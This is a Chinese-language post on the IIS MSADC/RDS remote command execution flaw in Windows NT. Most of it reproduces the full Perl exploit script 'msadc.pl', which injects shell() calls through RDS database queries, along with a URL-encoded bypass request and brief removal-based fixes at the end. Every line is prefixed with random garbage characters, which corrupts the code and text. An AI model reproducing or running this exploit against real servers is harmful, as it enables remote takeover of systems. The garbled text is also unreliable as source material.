IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
i=V-@|Z dXDXRY.FMQ 涉及程序：
01o [!n T Microsoft NT server
\eT/ %$
-zR. 'x% 描述：
~9bv Wd1D 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#:Xa'D+ eZ A6D\ 详细：
*cPN\Iu.W 如果你没有时间读详细内容的话，就删除:
/0-\ek ye c:\Program Files\Common Files\System\Msadc\msadcs.dll
s X
Z4U0 # 有关的安全问题就没有了。
Z"]xdOre 2zM-Ob<U` 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
nqrDT1b** 3+j^E6@ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
UL[uh@4 关于利用ODBC远程漏洞的描述，请参看:
i"< ZVw eA1'qww"' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm n ~.% p 51z / 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
_E&U?>g+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp x!>d
6lgej Ls(&HOK[p 这里不再论述。
KjC[q u6f4yQ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
@f\
X4!e*y J#+Op/mmo /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
3|jn,?K)N 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
K[n<+e;G )G mb? !/^ vu44 !c@ #将下面这段保存为txt文件，然后: "perl -x 文件名"
80 dSQ"y 4 ^0\dq #!perl
W\Y
4%y} #
!& %bl # MSADC/RDS 'usage' (aka exploit) script
NH6!|T #
<)rH8]V # by rain.forest.puppy
!gQ(1u|r #
|<icx8hbr # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
S@-X?Lu # beta test and find errors!
y%Ah"UY c3-bn # use Socket; use Getopt::Std;
_fw'c*j getopts("e:vd:h:XR", \%args);
t2 <(by! Z6pDQ^Ii print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Yy 1Pipv `?m(Z6' if (!defined $args{h} && !defined $args{R}) {
6Z:|"AwC2 print qq~
@Q 5^Q '! Usage: msadc.pl -h <host> { -d <delay> -X -v }
ga%77t|jm3 -h <host> = host you want to scan (ip or domain)
K?WqAVK -d <seconds> = delay between calls, default 1 second
l>q .BG -X = dump Index Server path table, if available
$% t -v = verbose
cH ?]uu( -e = external dictionary file for step 5
|[ofc!/ ]P ^ +~ Or a -R will resume a command session
FA,CBn5%
VNPd L ~; exit;}
9 rz "@LM
><^@1z.J $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
@^@-A\7[KO if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
['j,S<Bu~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
qI:w m= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
) 'KHUa9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
q ~lW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
7ac3N _>l,%n if (!defined $args{R}){ $ret = &has_msadc;
>[U$n. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2(|V1]6D? eS|p3jk; print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>6j` ZWab> . "cmd /c ";
L2%P $in=<STDIN>; chomp $in;
5+J/Qm8{bb $command="cmd /c " . $in ;
IA'AA|v Qzv_ |U if (defined $args{R}) {&load; exit;}
`P~RG.HO W`
V print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^C{a' &try_btcustmr;
q ^?{6}sy @lI/g print "\nStep 2: Trying to make our own DSN...";
}PJ:9<G
y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
%JZIg! ~ +Y;jA dU print "\nStep 3: Trying known DSNs...";
Ho/5 e*X &known_dsn;
=9M-N?cV 5P4 >xv[ print "\nStep 4: Trying known .mdbs...";
w_ m &known_mdb;
FoLw S%+yO {+MMqJCa if (defined $args{e}){
,LvJ'N print "\nStep 5: Trying dictionary of DSN names...";
d ?>sy\{2 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]xuq2MU,l 1$c */Tc:E print "Sorry Charley...maybe next time?\n";
fx*Swv%r exit;
S"lcePN w ^ r*qi" ##############################################################################
<)M?qkjb 7n#0eska, sub sendraw { # ripped and modded from whisker
a+MC[aFr sleep($delay); # it's a DoS on the server! At least on mine...
:r|dXW my ($pstr)=@_;
p.zU9rID socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2-8<uU y die("Socket problems\n");
`P'{HT if(connect(S,pack "SnA4x8",2,80,$target)){
g|W~0A@D select(S); $|=1;
nuvz!<5\{ print $pstr; my @in=<S>;
Z";o{@p select(STDOUT); close(S);
pxP7yJL` return @in;
1y
6H 2 } else { die("Can't connect...\n"); }}
'*K/K],S] 2f4 *r^ ##############################################################################
,"&v hgYU ]Dx5t& sub make_header { # make the HTTP request
o8bV z2E my $msadc=<<EOT
HgbJsv$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ww=< = User-Agent: ACTIVEDATA
anv_I= Host: $ip
GX(p7ZgB2 Content-Length: $clen
wN;o++6V Connection: Keep-Alive
?eeE [F ytHa[U ADCClientVersion:01.06
@aI`ru+a Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
aMT&}3
8 DyE
--!ADM!ROX!YOUR!WORLD!
)0!hw|0| Content-Type: application/x-varg
i |cSO2O+ Content-Length: $reqlen
z;1yZ4[G /Eu [7 EOT
ZCV&v47\p_ ; $msadc=~s/\n/\r\n/g;
'Ko
T8g\b return $msadc;}
ig 3uY# v"\Q/5p ##############################################################################
0!\pS{$zB (7&[!PS sub make_req { # make the RDS request
"rBo?%: my ($switch, $p1, $p2)=@_;
L/#^&*' B my $req=""; my $t1, $t2, $query, $dsn;
vxY7/ _] NmVc2V]I if ($switch==1){ # this is the btcustmr.mdb query
]#K Z
W)M $query="Select * from Customers where City=" . make_shell();
ps^Z)x`GV $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
V(w2k^7) F $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
D tt[a x~Y]c"'D elsif ($switch==2){ # this is general make table query
PG+ICg $query="create table AZZ (B int, C varchar(10))";
%Gh!h4Pv $dsn="$p1";}
44]/rP_m gVEW*8 elsif ($switch==3){ # this is general exploit table query
G"3D"7f a $query="select * from AZZ where C=" . make_shell();
`gSqwN<x% $dsn="$p1";}
eBlVb*nmq c"H*9u: elsif ($switch==4){ # attempt to hork file info from index server
d>VerZZU $query="select path from scope()";
1-Sc@WXd $dsn="Provider=MSIDXS;";}
h,LwC9 ULkjY1& elsif ($switch==5){ # bad query
ej4xW ~_ $query="select";
L?23Av0W $dsn="$p1";}
ag+$qU L*"Q5NzB] $t1= make_unicode($query);
.q"`)PT $t2= make_unicode($dsn);
Mnn\y Tblp $req = "\x02\x00\x03\x00";
'x$>h)t] $req.= "\x08\x00" . pack ("S1", length($t1));
Zx@/5!_n. $req.= "\x00\x00" . $t1 ;
QI0d:7!W1 $req.= "\x08\x00" . pack ("S1", length($t2));
i?.MD+f8 $req.= "\x00\x00" . $t2 ;
`%S Fu $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
/4}{SE return $req;}
o4^rE<vJ *F42GiBZR ##############################################################################
}\!&3^I k z"F4?, sub make_shell { # this makes the shell() statement
NifzZEX return "'|shell(\"$command\")|'";}
87.b7 b. #T &z` ##############################################################################
.'.#bH9K .KSP r sub make_unicode { # quick little function to convert to unicode
By%mJ%$~ my ($in)=@_; my $out;
n&DRh. @ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
?nZQTO 7 return $out;}
i"V2=jTeBv ?=}~]A5N ##############################################################################
%eW[`uyV ,1J+3ugp& sub rdo_success { # checks for RDO return success (this is kludge)
)FVW/{NF@q my (@in) = @_; my $base=content_start(@in);
c((^l & if($in[$base]=~/multipart\/mixed/){
vs]# ?3+ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
#z$FxZT<b return 0;}
MY1s !|}(tqt ##############################################################################
DlIy'@ . t u {y sub make_dsn { # this makes a DSN for us
5:c a6 H my @drives=("c","d","e","f");
QbA+ \ print "\nMaking DSN: ";
`3GC}u>} foreach $drive (@drives) {
/|v:$iH,C print "$drive: ";
8JvF4' zx my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
gwHNz5 a*V "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
zfAHE {c . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
H%2Y8} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
&aD ]_+b return 0 if $2 eq "404"; # not found/doesn't exist
9nIBs{`/Ac if($2 eq "200") {
@w:6m&KL9 foreach $line (@results) {
Gc6`]7 s return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
V0y Q } return 0;}
e+J|se4L5 p<hV7x-{ ##############################################################################
eTi r-7 7/^` y') sub verify_exists {
M`{x*qR my ($page)=@_;
NKae~ 1b my @results=sendraw("GET $page HTTP/1.0\n\n");
eLC}h % return $results[0];}
ai/VbV'| Mx&
P^#B3
##############################################################################
WPbWG$Li /y2 upu*! sub try_btcustmr {
eO<:X|9T my @drives=("c","d","e","f");
ZUE?19GA my @dirs=("winnt","winnt35","winnt351","win","windows");
P8 #;a u[25U;xo foreach $dir (@dirs) {
5 $SO print "$dir -> "; # fun status so you can see progress
[ Tv!Pc foreach $drive (@drives) {
=l&A9 >\ print "$drive: "; # ditto
P(N $U^pj $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ba_T:;';0 $reqlenlen=length( "$reqlen" );
k:D;C3vJd $clen= 206 + $reqlenlen + $reqlen;
[3":7bB 'E O/;$0`~hY my @results=sendraw(make_header() . make_req(1,$drive,$dir));
;1`NsYI2 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%trtP else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
|Bys SJ 71G Lqn? ##############################################################################
(+ g!~MP v 6{qKpU# sub odbc_error {
E&G_7-> my (@in)=@_; my $base;
m<ZwbD my $base = content_start(@in);
@=jcdn!\M if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
v5i?4?-Z $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=d_@k[8<0 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q^q G= $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L@rKG ~{Xy return $in[$base+4].$in[$base+5].$in[$base+6];}
oL' :07_ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
}<Y3 jQnl print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-B\ `O*Q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
qcxq-HS2' _"`wUMee ##############################################################################
Q}!U4!{i|p K %h83tm+ sub verbose {
7Kx3G{5ja my ($in)=@_;
|L{<=NNs:D return if !$verbose;
dy u brIG print STDOUT "\n$in\n";}
!:3NPjhf1Y ;FY iXK% ##############################################################################
ilv6A9/ `nM Huv sub save {
* wN+Ak q my ($p1, $p2, $p3, $p4)=@_;
!ViHC}: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
f f"Cl p print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
(,\`?g close OUT;}
jr" ~ <_""4 ##############################################################################
>VqMSe _v %>cc%(POO sub load {
n15c1=gs my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
avls[Bq open(IN,"<rds.save") || die("Couldn't open rds.save\n");
hD58 s"L$ @p=<IN>; close(IN);
De|@}@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
VIbm%b$~ $target= inet_aton($ip) || die("inet_aton problems");
ihH!"HH+ print "Resuming to $ip ...";
+7+
VbsFG $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
?"AcK" v if($p[1]==1) {
r jU $*+ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_*Vq 1D ]C $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
nngL,-v#F my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
@6.1E K0 if (rdo_success(@results)){print "Success!\n";}
zEY
Ey1 else { print "failed\n"; verbose(odbc_error(@results));}}
l) VMF44 elsif ($p[1]==3){
}W<]fK if(run_query("$p[3]")){
TO[5h Y\ print "Success!\n";} else { print "failed\n"; }}
F5L/7j<} elsif ($p[1]==4){
Ltcr]T(Ic if(run_query($drvst . "$p[3]")){
k`
(_~/# print "Success!\n"; } else { print "failed\n"; }}
0e8)* 2S exit;}
. 36'=K G`|mP:T:o ##############################################################################
?Pmj }f T:cSv
@G sub create_table {
\ox:/-[c\< my ($in)=@_;
!0Xes0gK0 $reqlen=length( make_req(2,$in,"") ) - 28;
8qBRO [ $reqlenlen=length( "$reqlen" );
@b!fs $clen= 206 + $reqlenlen + $reqlen;
nEOhN my @results=sendraw(make_header() . make_req(2,$in,""));
9'//_ A, return 1 if rdo_success(@results);
aDza"Ln my $temp= odbc_error(@results); verbose($temp);
:g<dwuVO return 1 if $temp=~/Table 'AZZ' already exists/;
*N'B(j/ return 0;}
s3kh (N FG#E?G ##############################################################################
=#%e'\)a ~,':PUkiV sub known_dsn {
y''? yr # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ew?UHV my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
N@)4H2_u \ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
` 5 e#9@/e "banner", "banners", "ads", "ADCDemo", "ADCTest");
kV6>O C&^ -]'Sy$,A foreach $dSn (@dsns) {
(2qo9j"j/Y print ".";
=t)eT0 next if (!is_access("DSN=$dSn"));
!JYDg if(create_table("DSN=$dSn")){
`m'2RNSc+# print "$dSn successful\n";
u> >t"w if(run_query("DSN=$dSn")){
>b*Pd
*f print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,rX!V=Z5 print "Something's borked. Use verbose next time\n";}}} print "\n";}
3Q`'C7Pi ;oR-\;]/. ##############################################################################
=:a 3cr~ OgfQGGc sub is_access {
>{GC@Cw my ($in)=@_;
&] z2=\^e $reqlen=length( make_req(5,$in,"") ) - 28;
^O892 - R $reqlenlen=length( "$reqlen" );
;#xhlR* ~ $clen= 206 + $reqlenlen + $reqlen;
_TX.}167;- my @results=sendraw(make_header() . make_req(5,$in,""));
SZwfYY!ft0 my $temp= odbc_error(@results);
T
86}^=- 5 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
89 (k<m return 0;}
D]oS R7h Uc9Uj ##############################################################################
j@9nX4Z oN _% oc sub run_query {
vkR"A\: my ($in)=@_;
[|F.*06SK $reqlen=length( make_req(3,$in,"") ) - 28;
vB.LbYyF $reqlenlen=length( "$reqlen" );
V J1 `& $clen= 206 + $reqlenlen + $reqlen;
D % 5 0 my @results=sendraw(make_header() . make_req(3,$in,""));
u- k*[!JU return 1 if rdo_success(@results);
- ED}
6E my $temp= odbc_error(@results); verbose($temp);
} E ]l4N2 return 0;}
SY|K9$M^ ?98!2:'{9 ##############################################################################
*rTg>) Ck#e54gJX sub known_mdb {
JPn)Op6 my @drives=("c","d","e","f","g");
hDi~{rbmc my @dirs=("winnt","winnt35","winnt351","win","windows");
R*vQ vO%)h my $dir, $drive, $mdb;
$B8Vg `+ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,K[e?(RP "dP-e # this is sparse, because I don't know of many
W`PJ flr| my @sysmdbs=( "\\catroot\\icatalog.mdb",
3!8(A/YP; "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
7d
R?70Sz "\\system32\\certmdb.mdb",
7tWC<# "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
>3p~>;9sc /?r A| my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Tr _gc~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
dV[G- p
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
_{c_z*rM8 "\\cfusion\\cfapps\\security\\realm_.mdb",
Uj;JN}k "\\cfusion\\cfapps\\security\\data\\realm.mdb",
" LTw;& y "\\cfusion\\database\\cfexamples.mdb",
2$ Xof "\\cfusion\\database\\cfsnippets.mdb",
~bkO8t n "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
27 XM&ZrZ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
1q(Qr
h "\\cfusion\\brighttiger\\database\\cleam.mdb",
N `:MF 9 "\\cfusion\\database\\smpolicy.mdb",
C W#:' "\\cfusion\\database\cypress.mdb",
.O "a: ^i "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
zoi0 Z "\\website\\cgi-win\\dbsample.mdb",
P!Fy kg "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
i=\)[;U "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Dx1(}D ); #these are just
)1!<<;@0 foreach $drive (@drives) {
}0pp"[JU foreach $dir (@dirs){
3v \P6 foreach $mdb (@sysmdbs) {
tkZUjQIX print ".";
%IBT85{ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
EA(4xj&:U print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
joskKik^ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
=V|jd'iwx print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
p#jAEY p } else { print "Something's borked. Use verbose next time\n"; }}}}}
;>mM9^Jaf ,V,mz?d ^9 foreach $drive (@drives) {
/>mK .FT foreach $mdb (@mdbs) {
]?+i6 [6U print ".";
LUD . if(create_table($drv . $drive . $dir . $mdb)){
IrQ.[?C print "\n" . $drive . $dir . $mdb . " successful\n";
vN^ .MR+< if(run_query($drv . $drive . $dir . $mdb)){
;ZUj2 WxE print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
0zNbux _ } else { print "Something's borked. Use verbose next time\n"; }}}}
@U8u6JNK' }
BL 1KM2] W9] z]6 ##############################################################################
Lq5 xp< JrOx nxd^ sub hork_idx {
r|UJ J9i print "\nAttempting to dump Index Server tables...\n";
=_ pSfKR; print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
g_cED15 $reqlen=length( make_req(4,"","") ) - 28;
z(LR!hr $reqlenlen=length( "$reqlen" );
GIzB1cl: $clen= 206 + $reqlenlen + $reqlen;
7iv o Q my @results=sendraw2(make_header() . make_req(4,"",""));
^'E ^*R if (rdo_success(@results)){
w"?Q0bhV9y my $max=@results; my $c; my %d;
#4mRMsW5" for($c=19; $c<$max; $c++){
+]cf/_8+s $results[$c]=~s/\x00//g;
=F$?`q` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
:ZY% -]u7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
c ^ds|7i]a $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
G^t)^iI"' $d{"$1$2"}="";}
`z' 8"s foreach $c (keys %d){ print "$c\n"; }
A #cFO)" } else {print "Index server doesn't seem to be installed.\n"; }}
L"
ejA R 9` [C ##############################################################################
|p[Mp:^^ ]]:K
l sub dsn_dict {
B-N//ef} open(IN, "<$args{e}") || die("Can't open external dictionary\n");
V\zcv @ while(<IN>){
UUDUd a $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
bK%F_v3' next if (!is_access("DSN=$dSn"));
e2 c'Wab if(create_table("DSN=$dSn")){
aeUgr ! print "$dSn successful\n";
39 }e
}W" if(run_query("DSN=$dSn")){
S. `y%t.GP print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%cn 1d>M+I print "Something's borked. Use verbose next time\n";}}}
bs|gQZG print "\n"; close(IN);}
T+Re1sPr? HjA~3l 7 ##############################################################################
qY8; k
# E> QS^)ih sub sendraw2 { # ripped and modded from whisker
DGGySO6=$e sleep($delay); # it's a DoS on the server! At least on mine...
,JdB Vt my ($pstr)=@_;
KX~
uE6rX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8J'5%$3u die("Socket problems\n");
LmJjO:W}^y if(connect(S,pack "SnA4x8",2,80,$target)){
_m?i$5 print "Connected. Getting data";
<lFHmi$qt{ open(OUT,">raw.out"); my @in;
sC\?{B0 r
select(S); $|=1; print $pstr;
#d % v=.1 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
CrI<rD%' close(OUT); select(STDOUT); close(S); return @in;
wqDf\k}'v } else { die("Can't connect...\n"); }}
.) tQ&2
_UTN4z2aTG ##############################################################################
w&H>`l06
wp }Q4I sub content_start { # this will take in the server headers
Q<6* UUQm my (@in)=@_; my $c;
W^3 Jg2gE for ($c=1;$c<500;$c++) {
u|wl;+. if($in[$c] =~/^\x0d\x0a/){
m&=Dy5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
}R+#>P else { return $c+1; }}}
c=t bl|Cq return -1;} # it should never get here actually
UucX1 % %G(VYCeK ##############################################################################
<UO[*_, \ tLKf]5}f sub funky {
?wkT=mv my (@in)=@_; my $error=odbc_error(@in);
D,..gsg if($error=~/ADO could not find the specified provider/){
vWmt<E|e print "\nServer returned an ADO miscofiguration message\nAborting.\n";
uzQ j+Po exit;}
*P\lzM if($error=~/A Handler is required/){
=A,T:!}' print "\nServer has custom handler filters (they most likely are patched)\n";
wq.'8Y~BE exit;}
{=?[:5 if($error=~/specified Handler has denied Access/){
r
ts2Jk7f print "\nServer has custom handler filters (they most likely are patched)\n";
F/J s K&& exit;}}
F\&wFA'J m N{H^ ##############################################################################
q< .k:v& nt_Cb*K< sub has_msadc {
~ 1TT ?H my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
5+{oQs_ my $base=content_start(@results);
MjQ>& fUK return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
XC<'m{^(m return 0;}
9 E5*%Hu_ mW)kWuOO ########################
]Z UE ! s w >B _t]Q*i0p 解决方案：
_)pOkS 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~a
V5 2、移除web 目录: /msadc
